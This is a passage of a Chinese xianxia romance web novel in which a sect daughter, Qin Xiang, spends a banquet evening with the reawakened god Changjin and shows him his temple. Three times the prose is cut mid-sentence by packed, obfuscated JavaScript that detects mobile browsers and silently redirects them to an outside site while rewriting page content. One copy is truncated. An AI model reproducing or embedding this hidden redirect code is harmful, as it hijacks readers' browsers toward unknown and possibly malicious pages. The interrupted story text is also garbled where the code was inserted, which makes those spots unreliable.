秦湘忍过,一开始想着眼不见为净,到最后一般都是忍无可忍。于是每次见到乔玉洲调戏同门师姐师妹,必要提剑上去给他一顿教训。但乔玉洲一身修为也不差,比起周楚闵来更是有过之而无不及,周楚闵会让着她,乔玉洲可不让着她,所以两人见面必掐架,掐到最后过了几百招愣是没论出个赢头。 次次如此,年年如此。 如今再说起他,听到他的名号,秦湘心里还是窝火,仿佛那张贱兮兮的笑脸就在眼前一般。就算周楚闵说他帮了他大忙也不抵用,刻板印象就摆在这了。 周楚闵听她说起这些陈年趣事,也是乐的直打跌,坐在对面笑得扶桌,肩膀抖动,好半晌才缓过劲来,笑道,“原来如此,你俩还有这一茬事呢,怪不得我说你怎么每次见到他都跟吃了火药似的。” “那种登徒子,我一剑挑了他都是为腾岳之巅的各位师姐师妹们积福。” “照你这么说,那乔玉洲此人就是那种万花丛中过,片叶不沾身的人?”周楚闵想了一想,“可是不对啊,阿湘,这次在云隐村,我见到那乔玉洲时,他身旁可是跟着一个女子的。” “???”秦湘眉梢一扬,满脸的不可思议,“师兄,你莫不是看错了吧?他?身边?跟了一个女子?” 秦湘皱着一张脸,听到这一句话,她仿佛看见了一头猪在爬树。 “是啊,不会看错,”周楚闵悄悄地望了身旁的沈清桐一眼,见她脸上并无不喜之色,才接着道,“他们走在一起,我自要和他们打一番招呼,听他介绍,那女子是他的道侣呢。” “!!!”如果说刚才秦湘还只是看见一只猪在爬树,那现在就已经看见太阳打西边出来了。 “师兄?你确定你真的没有看错没有听错?他这种人竟然会浪子回头?这是哪家的奇女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699985|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子啊?我好生佩服,她长得好不好看?漂不漂亮?” “这我就不知道了,”周楚闵用一种“你莫害我”的眼神看了秦湘一眼,又将头靠在了一旁沈清桐的肩膀上蹭了蹭,“在我心里,只有清桐最好看,你要想知道她好不好看,下次有机会你自己去看吧。” 待三人吃饱喝足走出云隆堂,已是申时。周楚闵正黏着沈清桐往医疗阁走,秦湘本不想打扰两人的相聚,但周楚闵一句带了礼物,外加上沈清桐也拉着她,于是两人行就变成了三人行。 一回到医疗阁,周楚闵就将腰间系着的收纳锦囊拉开,施了个决,从里面摸出了个盒子。 “这个是给阿湘的。” 秦湘伸手接过盒子,打开一看,一对缠花流苏发簪精美绝伦,她雀跃道:“呀,师兄,你怎么知道我喜欢这个?我看上这对发簪好久了,但它好贵,一直舍不得买来着。” “我哪里懂这些啊,是你清桐姐姐告诉我的。” 秦湘“啊”了一声,扑进沈清桐怀里,环着她的腰,将头埋进她颈间蹭了蹭,“清桐姐姐真好!” “我,我买的,我就不好了?”周楚闵戳了戳她,“还有,你现在待的是我的位置。再抱我下次就不给你买礼物了嗷。” “不许胡说,”沈清桐看了他一眼,虽是训斥,但耳尖却悄悄红了,“阿湘的醋你也要吃,你几岁呀你。” “我说笑的,抱抱抱,她想抱多久抱多久,”周楚闵笑着饶了饶头,又从锦囊中摸出另一个精致的妆匣子塞到她手中,“这是给你的,琼珍坊的杏花胭脂,妆娘说这个颜色淡雅素净,你应该会喜欢。” “谢谢,”沈清桐接过了,顿了顿,柔声道,“喜欢的,你送的我都喜欢。” “哈哈,”周楚闵心一紧,也有些赧然,连道,“你喜欢就好。” 秦湘从沈清桐怀中抬起头,看了看这俩都有点微红的耳尖,也不好意思再做多停留打扰人家相聚。于是一骨碌地爬起了身,捧着盒子笑嘻嘻地道了个谢之后便离开了。 她左右无事,四处闲逛,在林荫小径上遇见了一个人,那人一身白净素袍,手里抱着几卷书卷,秦湘定睛一看,这不是她师父明萧长老? 秦湘走到他面前,惊喜的喊道:“师父!” “阿湘?”明萧长老也很意外。 “师父,你怎么在这里呀?你手里拿的是什么呀?” “一些修仙界的史书书卷……” “给长锦神君的?”秦湘一听,就瞬间明了。 明萧长老点了点头,“是啊,席清长老终归和我们是不一样的人,与世隔绝久了,如今入世,总要一番了解,不然在修仙界其他门派面前岂不露馅?” “所以师父你这是要去西院?” “是的,顺便去提醒一声晚上记得参加云隆堂的筵席。” 秦湘眼睛一亮,连忙从明萧长老怀中抢过那些书卷抱在怀里,“师父,我帮你去吧,反正我闲来无事,这点小事,哪里值得师父亲自跑一趟,我去我去,我去就好!” 说完,也不等明萧长老反应,转身就朝着西院跑去。 秦湘抱着书卷,她一路小跑,绫罗裙裾掀起一路芬芳。跑着跑着,步子就慢了下来,慢了没几步,又换成了小跑,想到马上就能见到那人,她便心情忐忑,一颗心仿佛要跳出胸腔。 所以,想走快些,想快点见到他,但又怕见到他了,自己不知该说些什么。 怀着这复杂心绪一路走到西院,那金色的结界早已撤掉,远远地,她都能瞧见前院那一株桃花花树探出墙来的那抹艳稠。 “咚咚咚——”一下,两下,三下,秦湘数着自己的心跳,立于门扉前,她再次做了个深呼吸,才伸手去推门,“长锦神……” 半敞的门被风慢慢吹开,秦湘一眼望去,未尽的话也随着映入眼帘的画面瞬间止在了喉间。 黄昏将近,落日余晖映照着小院。秦湘站在门口,她看见桃花树下坐着一个白净男子,他闭着眼,玉色衣袍铺泻了一地,万千青丝用一条白色发带松松地绾在脑后,任由着那阳光透过花影细碎地落他一身。 桃花树下桃花仙,看着那人熟悉的眉眼,秦湘不由得地呆住了,心跳也蓦然漏了一拍。 即使做了很久很久的心理准备,但当这人实实在在地出现在她面前之时,所有的努力还是功亏一篑。 “是你。” 温润淡雅的声音犹如山泉流动,又如山野寺间晨暮的钟声在耳边震响,让秦湘恍若大梦初醒。她缓过神来,视线与他交错。 清风徐徐,秦湘看着他起身,薄唇微启,一张一翕。这次,她听清了,他在说—— “秦湘。” 12.筵席初见 夜幕降临。 腾岳之巅廊庑绵延,四下静谧。恢宏百里,除了月色下流转着悠悠光华的金色结界和几列守夜的护山弟子外,不见一人。 与这户外静谧相反的是灯火通明的云隆堂。今夜的云隆堂属实热闹非凡,门派千金出关,又新添一位实力强悍的席清长老,这种喜上加喜的事情,自然值得全派好好庆贺一番。 秦湘和长锦悠悠赶来之时,筵席的氛围已经晕染开了。云隆堂内,熙熙攘攘地挤着几千人,桌椅调整围成圈,中间空出一块表演台,云隆堂的掌勺师傅们正在一盘一盘地上着菜,各式各样的美味珍馐就在这熙攘热闹中被摆上了桌。 长锦站在门庭外,看着这满厅的欢声笑语,灯光烛影在他眼中映出了万种情绪。秦湘站在他身侧,看着他顿住的身影,也不由得地抬眸温声问道,“怎么了?” “没什么,”长锦摇摇头,“进去吧。” “好。” 两人一同走了进去,本来热闹非凡的云隆堂也逐渐安静了下来,几千道目光同时凝聚在了两人身上,秦湘的出现并不足以让他们这么意外,今晚上,对于腾岳之巅的众人来讲,最大的重头戏还得是那位新晋的席清长老。 虽然名义上唤作席清长老,但腾岳之巅众弟子的心里都明白,那就是他们门派供奉数百年的那尊神像长锦神君本尊。 因此,那日在花溪镇有幸见过长锦身姿的弟子们好奇,另外那些没见过他的弟子们就更好奇了,于是一个个的都翘首以盼,卯足了劲地伸长着脖颈往这边看。 坐在首席的秦叙与坐在长老席的众长老也看见了两人,他们一齐起身,朝着长锦抱拳行了一礼,众弟子见状,也纷纷起身,朝着长锦弯腰鞠躬一拜,长锦点头亦回了一礼。 这种筵席开场之前,几位重要人物一般都要在宴前发表一下演讲,说说什么场面话之类的。秦叙作为一派掌门,自然是第一个发表讲话的,但他并不想将场面整的太严肃庄重,于是当着众人的面随便讲了几句简洁漂亮的体己场面话之后,就将话语权交给了晚宴的两位主角,长锦与秦湘。 长锦不善言辞,没什么要讲的,而秦湘自然也没什么能讲的,这种事向来就不是她所擅长的。于是两人啥也没说,朝着众人打了个照面后就落了座开了席。 长锦身为席清长老,坐席次序自有一番讲究,但秦湘不同,站在台上打完了照面之后她就下了席,她一贯是和周楚闵、沈清桐一起吃饭的,要让她坐在长老席间陪着一堆长辈吃饭,那她宁可不吃这顿饭,太累了。 “阿湘,这里这里!”秦湘穿行在一众青黑色身影中,远远地便瞧见了周楚闵站在前方朝她招手,身旁还坐着沈清桐,秦湘走了过去,在两人对面落了座。 秦湘刚一坐下,周楚闵就悄咪咪地开口问她:“你怎么是和席清长老一起来的啊?你俩在路上遇上了?” “……” 席清长老这个称呼让秦湘顿了一顿,虽然秦叙也和她说过要改口,但这个称呼对她来说未免还是太陌生了点,比起席清长老,她更习惯于唤他一声长锦神君。 而此时的重点也不是在称呼上面,不提还好,一听闻周楚闵又提起了他,秦湘原本握着筷子的手也是不由得地一紧。 她坐在席间,看了长老席上施施然坐着的长锦一眼,这一眼让她又不自觉地回想起了今天下午在西院她看见这人时的失态—— 她从没想过长锦竟然还会记得她,在看见她时竟然还能精准无误的叫出她的名字! 而她,明明准备了那么多的开场白,还在心里脑中做了好几遍预演,结果却在推开门的那一瞬间,所有的东西都被抛掷于脑后。 她不记得自己要来干什么,只知道那时的她脑子一片空白,心慌意乱,长锦叫她名字的时候,她被吓得瞬间闹了个大红脸不说,怀中抱着的书卷还洒了一地。 虽然闹到最后长锦也没说什么,还起身走了过来和她一起将散落在地上的书卷一一拾起了。但不管怎样,这个开场还是和她预计的有点不太一样,这这这,实在是太失态了,太丢脸了。 想到这里,秦湘狠狠地哀嚎了一声,扑通一下栽倒在了桌上,心道死了算了。 对面两人自是不知今天下午发生的这些对秦湘来讲极其丢脸的事,周楚闵一头雾水,沈清桐一脸关切,“阿湘你怎么了?” 秦湘无力地爬起,一巴掌拍上了自己的脸,好半晌,才挪开,道:“我没事。” 筵席进行过半,席间气氛热忱高涨,众人相顾而笑。而云隆堂中间空出的表演台也没空着,从底下升出了几块巨大的靶子,靶子上面,挂满了灵力气泡。 另一旁的桌子上,则摆满了各式各样的彩头礼品,什么灵力石啊,丹药啊,甚至是女孩子的发簪,男孩子的发扣……应有尽有。 这是腾岳之巅平常筵席上的一种玩乐游戏,名曰“投飞镖”,游戏并非平常练习,所以这飞镖自然是钝化过的灵力飞镖。投飞镖游戏规则就是众人站在最这头的黄线开外,再用特制飞镖攻击最那头靶子上的灵力气泡,投中五个可得一个小礼品,投中的越多,礼品种类越丰盛。 至于这游戏的灵感来源,听说是腾岳之巅某位长老在教其门下弟子使用暗器时想出的法子,事出起因是其门下弟子投掷飞镖老是投不中,长老气得吃不好睡不好,最后想了这个法子激励门徒,每日设置一个奖品,当天里谁命中率最高,谁就能领走这个奖品。从那以后,也不用长老每日耳提面命的反复叮嘱了,弟子们自觉就会努力好好练习。 后来这一做法被其他长老得知,纷纷叫好效仿,秦叙作为掌门,自然也有所耳闻,和众长老一商量,就将这个鞭策门下弟子的想法改成了游戏,搬到了筵席之上。而这“投飞镖”的游戏一出现,就在腾岳之巅中备受推崇,屹今为止,仍然还是最受欢迎排行榜的第一。 投飞镖的场子刚一摆好,就被许许多多的弟子围了个水泄不通。善射击的弟子们礼品拿到手软,不善射击的弟子们看得眼红,纷纷拉出了师父来帮忙,在这种热闹的日子里,长老们自然不会拒绝责罚什么的,于是场上一片哄乱,弟子与弟子较着劲,长老们之间也相互较着劲。 秦湘与周楚闵也是这个游戏的爱好者,此时,两人身边已经堆满了各种彩头,但手上的飞镖还在不停地飞往对面的靶子。 最初的尴尬与气恼在游戏中被抛诸脑后,秦湘朝着身旁的周楚闵一笑,手中的飞镖精准的飞向了对面靶心的灵力气泡,随着啪的一声,气泡炸裂,正中红心,“师兄,承让承让,正好九十八枚,今晚的第一是我啦。” 周楚闵也挥出一枚灵力飞镖,另一边计数的牌子闪现一团金光,待光散去,一个硕大的九十五清清楚楚地浮现在两人面前,他笑了笑,“九十五,只差三枚,阿湘你可不要太得意,还未到最后,胜负不一定呢,这次师兄可不让你了。” 他说完这句话,又拿起一枚飞镖,正待挥出,眼角却突然瞥到了另一旁的角落,他看了两眼,惊奇地“咦”了一声。 “怎么了?”秦湘被他影响,也转头顺着他看的方向看了一眼,这一眼看过去,不止周楚闵惊奇了,秦湘手中的飞镖也愣在了空中。 两人朝着那头看了良久,周楚闵才啧啧两声,得出了一个结论:席清长老真受欢迎啊! 而顺着两人视线看去的另一边,长锦正一脸僵硬地站在长老席间,被几个小弟子围拥着,小弟子浑然不知他的僵硬与不自在,还要簇拥着他往这边投飞镖的场地来。 原来那时,长锦看着身边的各位长老基本都已起身离席参与进了筵席的热闹,只剩他一人坐在这,与面前的喧嚣格格不入。他自己也明白,这种热闹向来不属于他,所以不强求,于是将面前剩的半盏凉茶喝完,就准备离开,不料才刚起身,身旁却忽然伸过来了一只手,抓住了他的衣袖。 这动作不重,带着小心翼翼。长锦顿了顿,偏头去看,一个五六岁的小弟子正仰头看着他。 长锦没想过竟然会有人来找他,毕竟往多了算,他已经三千年没有与人交流过,现在猛然被一个小孩这么拽着,他一时间也没反应过来,顿时全身僵硬,走也不是,不走也不是,于是两人就这么一高一低,面面相觑。 僵持良久,就在长锦准备要将衣袖抽回来的时候,那小弟子松手了,他眼睛亮晶晶的,朝着身后另外几名同样年纪的小弟子嚷道:“你们快来看,师父没骗人,席清长老真的和渡天神殿里的长锦神君长得一模一样!!” “……” 说起来,并不是腾岳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话虽是这么说,但几个小家伙心里并不觉得自己是亵渎神明,他们敬重他是一回事,想在偶像面前问声好,想与他有点交集又是另一回事,这两件事之间其实并没有什么直接的关系。 所以一番思想斗争到最后,他们还是选择了尊崇内心最真实的想法,来到了长锦身边,看着长锦并无斥责他们之意,便彻底放下心来,一个个的都围了过来,盯着他看,问东问西。 而长锦呢,对这种围上来的人群的恐惧几乎是刻在了骨子里的。他看着面前小孩仰起的笑脸,眼中泛着的光亮,身体都在不自觉的发抖。 虽然他也知道,他们并无恶意,但心里,却还是觉得这些面孔仿佛下一秒就要变成索他命的魔鬼,狰狞着脸庞将刀尖插入他的胸腔。 “长锦神君。” 他后退着,就在他即将招架不住的时候,一个声音从他面前传来,将他的思绪唤回。长锦眼神聚焦,看见了站在他们面前一脸笑意的秦湘。 “秦湘?”他顿了顿,还未及回过神来,这两个字就已经不自觉地被他先唤了出来。 “师姐好。”围着他的小弟子闻声也自动散开,朝着秦湘抱拳行礼。 “好,”秦湘笑了笑,她端着一个小酒盏,脚步虚浮地挨个摸过小弟子的头,然后摇摇晃晃地朝着长锦走了过去,眯眼笑道,“给长锦神君问安,神君喝一杯?我敬你。” “……”长锦看着面前脸色绯红一副醉酒模样的秦湘,没动。 秦湘也没催促他,端着那杯酒,在底下小弟子看不见的地方朝着他狡黠地眨了眨眼,只一瞬,又恢复成双眼迷离朦胧的状态。 长锦顿了一顿,饶是他再迟钝,这下也反应过来了,秦湘是在帮他解围。 虽然不清楚她要做什么,但自从两人相识以来,每次当他身陷囹吾之时,出现在他面前的都是这样的一张脸。所以对于秦湘,长锦总有一种莫名的说不上来的信任感,于是他也不再多想,看了看她的脸,又看了看面前的酒,抬起手就准备接过来。 就在他指尖接触到酒盏的那瞬间,秦湘的手倏而一松,满杯的陈酿就这样洒在了他身上。 长锦:“……” 众弟子:“……” “唉呀,洒了,”秦湘连忙放下杯子,伸手拂上他的衣袖掸了掸,看着衣袖上留下的那一大片水渍,她饶了饶头。虽然嘴上在道着歉,但语气里却没有一丝愧疚的意味,“对不住对不住,我带神君去处理一下,你们散了吧,散了吧。” 说罢,也不等他回答,就拉着他走了出去。留下几个小弟子满脸问号地站在原地,面面相觑。 “师姐在干什么?” “不知道……” “师父不是教了净衣诀吗?为什么还要出去处理?” “不知道……” 13.渡天神殿 秦湘拉着长锦一路出了云隆堂,直到身后的欢声笑语完全听不见,才停下了脚步。她松了口气,回头去看身后人,甫一回头,目光就落在了两人相交的手上。 “!!!”秦湘的脑子倏地就炸了,脸也以肉眼可见的速度浸染上了一层薄红。她她她她她……她在干什么?!她她她她她……她干了什么?! 她竟然拉着长锦神君就这么走了一路!而长锦也默不作声地任由她这么拽了一路! 秦湘慢慢地抬头,去看长锦的脸,对方此时也正愣愣地盯着两人相交的手出神,不知在想什么。秦湘心中骇然,连忙松开握着他的手,弯腰抱拳道:“神君对不住,是我僭越。” 长锦指尖微微一蜷,神色有几分愕然。 他生来就很少有过与人这么接触。成神之前,虽贵为洵阳城少主,但人们有敬他有畏他也有看不起他的;成神之后,因他败于魔主,就更不用说再有人来关心亲近他,人们早就恨他入骨,恨不得扒他皮吃他肉喝他血,再将他挫骨扬灰。 好像不管是当人还是当神时期,这么多年过去了,除了三千年前洵阳城中的母亲外,就再也没有过一个像这样会关心他,亲近他,将他护在身后的人了。 掌心还残存着一丝未消弭的温软,他顿了顿,心中竟升起了一番小心翼翼的不确信来…… 良久无言,秦湘觉得奇怪,她微微掀起目光去瞧对面的人,声音轻柔,“神君?” “嗯?”长锦回过神来,与秦湘四目相对。他眨眨眼,眼中情绪收敛,脸上的神色也都慢慢地恢复了正常,愣了愣,才道,“无妨,还要多谢你。” 吴钩高悬,月光穿透树荫,铺下了一地碎玉。 夜间静谧,秦湘焦躁慌乱的心跳声被无限放大,她偏头去瞧走在她身旁的长锦,两人一路无话,这让秦湘不免生出几分尴尬来。 在转过第三个蜿蜒曲廊之时,秦湘终于忍不住了,她轻轻地开口唤他:“神君。” “嗯。”虽然回答的生硬,但这声音并不是冷冰冰的,带着一缕温和,如细腻温润的暖玉。 见他回答,秦湘心中松一口气,才接着道:“方才席间的小师弟们虽难缠,但他们也并无恶意,可能只是从小听着长锦神君的事迹,所以心驰神往,才会一时失了分寸,还望神君莫怪。” 闻言,长锦点点头,声音轻淡:“嗯,我知道,不是他们的问题,是我的问题。” 这次轮到秦湘疑惑了,她“嗯?”了一声,眼神迷惑地望向长锦,“神君此话怎讲?” 长锦瞥头看了她一眼,道:“我不喜欢与人相处,所以不是他们的问题,是我自己的问题。” 虽然他现在已入尘世,但这些与人相交相处的人际关系,他确实也并不想费神来处理。倒也不是不想,只是他怕了,也习惯了,人性是善是恶,七百年前他暂且还想多计较几番。 但如今对他来讲,是善是恶又有什么关系?反正他来尘世的目的只有一个,就是寻回魔主重新封印,其余的,都不重要。 想到这,他似乎是告诫自己一般,又像是说给秦湘听一般,低声喃喃道:“我来尘世的目的只有一个,就是寻回魔主,只要寻回魔主,我就会离开,所以不想与人相处,你知道吗?” 秦湘望着他,愣了一下,面前的人说这话的时候神色清冷淡漠,但如果仔细分辨,这声音里似乎又有一丝的自暴自弃,一张清俊的脸无半分表情,就好像一潭死水泛不起半点涟漪。 她默默地看了他半晌,才移开眸子,目光触及一旁月光下流转着光华的结界,半晌,笑着开口道:“神君,你是不是真的不想与人相处这我不知道,但我知道了另一件事,就是你不仅口是心非,你还嘴硬心软。” 没想到她会说这样的话,长锦脚步一顿,皱着眉头颇为意外地看向她:“你说什么?” 秦湘笑了笑,努努下巴,指了指上空的结界:“神君你说你入世的目的只是为了寻找魔主,其余的所有对你来讲都不重要且没必要的话。那为何你还要费你的神力来为腾岳之巅布置这么大的结界?为何你又会在灵力尚未恢复的情况下一听见花溪镇厄运之门开就立马前往?” “如果要说封印厄运之门本身就是你的责任,推脱不得,那布置这个结界,就和你本来的目的没什么关系了,可是你还是布置了,所以明明神君你的所作所为都是在保护大家,却还要做一副冰冷冷不近人情的样子,你说你是不是口是心非?” 月光很亮,照得长锦的眼瞳深邃如墨,瞧不见半分情绪。 秦湘对上他的眼睛,心口咯噔一声,也意识到自己这瞬间好像有点太过放肆,竟然敢这样揣测神明心思。又懊又悔,恨不得给自己两个嘴巴子。于是连忙双手交叠,微微一俯身,恭恭敬敬地行礼道歉:“啊,对不起神君,我又僭越了。” 长锦沉默了一会,才别开眼,冷然道:“你又怎知是我所设,这结界是掌门和众长老布置的。” “不会,别人瞧不出来,但我瞧得出来,爹爹的术法我最熟悉,这表面还是爹爹和长老所设,”秦湘抬头看了看,笑得狡黠,“但是其中还有另外一丝不同于爹爹他们的灵力,花溪镇的时候我曾见过神君的灵力流转,所以神君你就别蒙我了。” 言尽于此,长锦也不再否认,道:“掌门收留我,我应当回报,这有什么问题吗?” 秦湘顿了顿,这次就算她再想多说什么,也不敢再妄言了。生怕她再多说几句就把长锦得罪个彻底,在偶像面前坏了形象可还得了? 于是连忙摆手附和:“没问题,没问题,神君你说什么就是什么,你说的都对。” 两人又这么走了一段路,秦湘目光悠长,不远处一座巍峨雄伟的大殿映入了她的眼帘,她目光一顿,突然想到了什么,于是又开始了今晚上的第三回喊身边人:“神君。” “嗯,”长锦面上也没什么不耐的神情,除了声音依旧清淡之外,有应必答,“怎么了?” “你出关这么久应该还没有去过渡天神殿看过吧,反正闲来无事,不如我带你去看看?” 渡天神殿建在腾岳之巅的西北方向,是腾岳之巅中最大最新的一座宫殿观宇了。红墙青瓦,层叠角楼,上接天宇,富丽磅礴,历经七百年,却不见其苍老;不断的翻新与修建,让它在这岁月的蹉跎中仍保持着它的巍峨宏伟。 殿内四下开明阔朗,清幽淡雅,除了每月宗门盛典那一回的集体参拜,大部分时间,殿内就只有每日的值殿弟子。除此之外,无一人扰其清净。 因很少有外来香客供奉参拜,所以与一般的道观庙宇不同。渡天神殿殿前并没有置办功德箱,殿前中庭之间只摆放着一只长方八龙柱香鼎,两只石雕瑞兽香炉一左一右分别立于它的两侧。 甫一进去,映入眼帘的还有宫墙旁那一棵高大粗壮的百年银杏树,银杏叶洁净素雅,而树下,正躺着几只眯着眼休憩的小花猫。 长锦站在庭院之中,抬头望了一眼。穹顶之下,匾额上蓝底金字的“渡天殿”三个字刚劲有力,再一低头,殿内一尊黄金神像庄严神圣。 与长锦本人这种自然随性的松弛不同,那尊神像服冠形制繁琐华丽,金冠束发,一手握拳端于面前,一手负剑背于身后。神像面容温和俊秀,慈眉善目,嘴角微扬,笑容缱绻,栩栩如生,一副温文尔雅慈悲柔美的面相。 秦湘怀中抱了只猫,手指挠着它的头顶,猫咪发出舒服的呼噜声。她站起身来,走到长锦身边,微微一扬首,也顺着他的视线望去,“神君,像不像?” 长锦愣了一愣,望向她,“什么?” “神像呀。”秦湘摸着怀中的猫,目光明亮地回望向他,“是不是很像你?” 渡天殿中的长锦神像其实一开始并不是金身的,而是石像雕塑。这也没办法,七百年前,腾岳之巅还只是小门派,说直白点就是穷,后来随着门派发展愈大,才慢慢好了起来的。 于是发达之后的第一件事,就是为长锦重塑了金身,这尊神像,工艺更加精湛,无疑更为传神,由它摆放在主殿,而原来那座石像雕塑也就转移保存在了隔壁偏殿供奉。 秦湘微微低头,怀中的猫被一旁的光亮吸引,挣扎着要从她身上跳下。她轻轻俯身,将它放下之后,才起身继续道:“这尊神像的形象是由太掌门定下的,最初见过神君真面目的也就只有太掌门他们,因为这尊神像,所以在第一次见到神君之时,我便觉得眼熟,现在面对面再仔细对照下,就越发觉得这尊神像是真的和神君挺像的呢,至少有七八分了。” 长锦也不知他自己此时该用何种心绪表情来面对这些,好半晌,才道:“所以你第一次见到我就认出我来了?也知晓我的身份了?” “这倒没有,当时只是觉得神君很眼熟,像是在哪里见过一般,”秦湘摆摆手,突然又啊了一声,一手握拳敲在另一只手掌心上,笑道,“说起来,神君第一次见面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739980|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就救了我呢,那次要是没有你,我可能就要被那狼妖穿成人肉串串了。那也是我第一次下山接受委派任务,没想到会整得那么一团糟,那么狼狈,后来被爹爹罚关禁闭,连神君闭关前的最后一面都没见到。” 说罢,秦湘惋惜地叹了口气,长锦看了她一眼,道,“你已经做的很好了,并不糟糕,如果没有你一开始的保护,就算我来了也无济于补,所以它们都是因为你的保护,才能继续好好活着。” “嗯?神君你是在安慰我吗?”秦湘眉毛一挑,欣喜且颇为意外地扭头去看他。 长锦与她四目相对,两人相望良久。虽然他面上无甚波动,但在这长久的无言中,却还是先败下了阵来,挪开了视线,“如果你觉得算的话,那就算是吧。” 秦湘被他一脸板正又想着拒人于千里之外的样子逗乐了,笑了好一阵子,才正色道:“算,怎么能不算,谢谢神君,不过,我还是想说,幸好那天遇见了你,一切才会往好的方向发展。” 闻言,长锦微微一愣,沉默几许,才开口问道:“你好像很喜欢我的样子?你会需要我吗?” “……”秦湘被他这话问得一噎,好半晌,才不解道,“什么?” “你的语气很欣喜,我好几次睁开眼睛,看见的都是你的脸。你脸上的神情,担心,欣喜,让我有种恍惚,产生了一种我还是被需要的错觉,”长锦出了一会儿神,轻声道,“方才你说,幸好遇见了我,一切才会往好的方向发展,原来还会有人对我说这样的话,我真的会让事情变好吗?” 秦湘表情一僵,刚才听见长锦那句话时的狂乱心跳渐渐平静了下来,取而代之的是一种沉重且复杂的心绪。她不知道长锦为什么会说出这样一番话,是在害怕人们不需要他吗? 这个人是经历过什么,才会说出这样的话,才会变成这样,薄凉寡淡却又还抱有一丝希望。 他应当是希望有一个人来肯定他吧?来告诉他,需要他。 秦湘是这么想的,于是便也这么做了,她深吸一口气,温声道:“那不是错觉,神君你没有瞧错,我很喜欢你,腾岳之巅所有的人都很喜欢你。天生我材必有用,每个人都有他存在的意义,何况神君你一直保护苍生,就更加被人们所需要了。” “对我来说,如果你的责任是守护苍生的话,那反过来,苍生的责任也是守护你,不让你被遗忘,记住你,就算你祭道了,你的精神也一直存在于苍生心中,以你为榜样,供奉你,与你同行,永存于天地之间。” 夜风之中只有虫鸣声此起彼伏,长锦听着秦湘的话,那瞬间,连呼吸都凝滞了,“你……” 秦湘朝他莞尔一笑,敲了敲自己的脑袋,“啊”了一声,又弯了弯眼睛,笑道,“还有一件很重要的事忘记说了,神君,你要记得,放眼整个腾岳之巅,要说最喜欢你的人那绝对是非我莫属的,这件事,很重要,你一定要记住,在所有人里面,我是最最最最喜欢你的那一个。” “……”话题自然而然地揭了过去,长锦脸色一顿,良久,才皱着眉头温声道,“不知羞,你是个女孩子,不能这么说话的。” “嗯?”秦湘很冤,她眨了眨眼,一脸懵,“我说什么了,不是神君你先问的我是不是很喜欢你的吗?我只不过是在回答你而已,而且这是事实啊。我从小听阿娘说你的故事长大的,我可是立誓要成为和神君一样的人,惩恶扬善,而如今有机会遇见神君,此间正道,我定要与你同行。” “……”闻言,长锦的表情更加不好看了,他一脸深沉地望着她。 在这深沉的目光中,秦湘终于后知后觉,面前人不过二十又三四的样子,和周楚闵站在一起也不过是稍年长些的模样,岁月在他身上从未留下痕迹。可她却开口就是我从小听你故事长大的云云,这不是明摆着说人家老吗?能高兴就撞了鬼了!啊!她这张嘴,真服了!!! 秦湘在自己嘴上连掌两下,又呸呸两声,才道:“神君,我不是说你老的意思,神君英明神武,丰神俊朗,我只是在表达我对神君的喜欢而已,真的,仅此而已,除此之外,没有任何其他的意思。” 半晌,长锦才转开目光,神色平淡,瞧不出生气也瞧不出方才的寡凉。今晚上和长锦打了这么久的照面,秦湘也算是摸准了一点他的性子了,知他现在这个模样,大概应该是没事了。 于是她顺着他的视线看着面前的渡天殿,眉眼弯弯,转移话题,“进去看看?” 14.真相假象 两人并肩而行,缓缓走入殿中。殿中烛火摇晃,长锦神像眉眼低垂,俯瞰众生。神像面前,两个蒲团,一张红木供台,供台上井井有条地布置着一只香鼎和一些供品,香鼎之中,几只高香云雾袅袅。 秦湘进殿之前就让值殿弟子先行退下了,所以偌大的神殿之内,只有她和长锦两人。 长锦站在殿中,没动。秦湘倒是习惯性地,先站在神像前双手合十虔诚地鞠了三个躬,正准备跪拜下去之时,手肘却被人扶住,秦湘疑惑地转头去瞧,对上长锦平静的双眼。 “神君这是?” “不必跪,”长锦将她稳稳地扶了起来,温声道,“有心就够了,而且魔主这事因我而起,我没有将他消灭,未来可能还会有一场恶战,我也不能完全保证我能保护得了所有人,又怎能理所当然地受你们叩拜,我是不配的。” 秦湘一顿,笑道,“好,听神君的。不过,神君你不许再说这样贬低自己的话了,别人心里是怎样的我不知道,我只知道,在我心里,你是天道选择的神。由人成神,必定是有他出众且让天道选择的能力的,这样的人,怎会不配?至于魔主,我相信你,你能消灭他第一次,定能消灭他第二次。” 她从一旁的桌上取过三只清香点上,转身微笑道,“虽然神君免了跪拜,但是该有的流程还要要的,拜神最需要的还是得心诚。”说罢,又站在了神像面前,深深地鞠了三躬,然后才起身将手中的香插入供台之上的香鼎之中。 长锦看了她几许,才将视线转移,缓慢地踱着步子,将这座渡天殿内四周都打量了一番,这时,他目光忽然扫过了神像的左右两侧,只见那墙壁之上挂着两副裱着的字。 左边这幅,写着:神本是魔,魔亦是神,一体两面,光暗共生。 右边那幅,写着:有道者,为之苍生,善恶本共存,皆在本心。 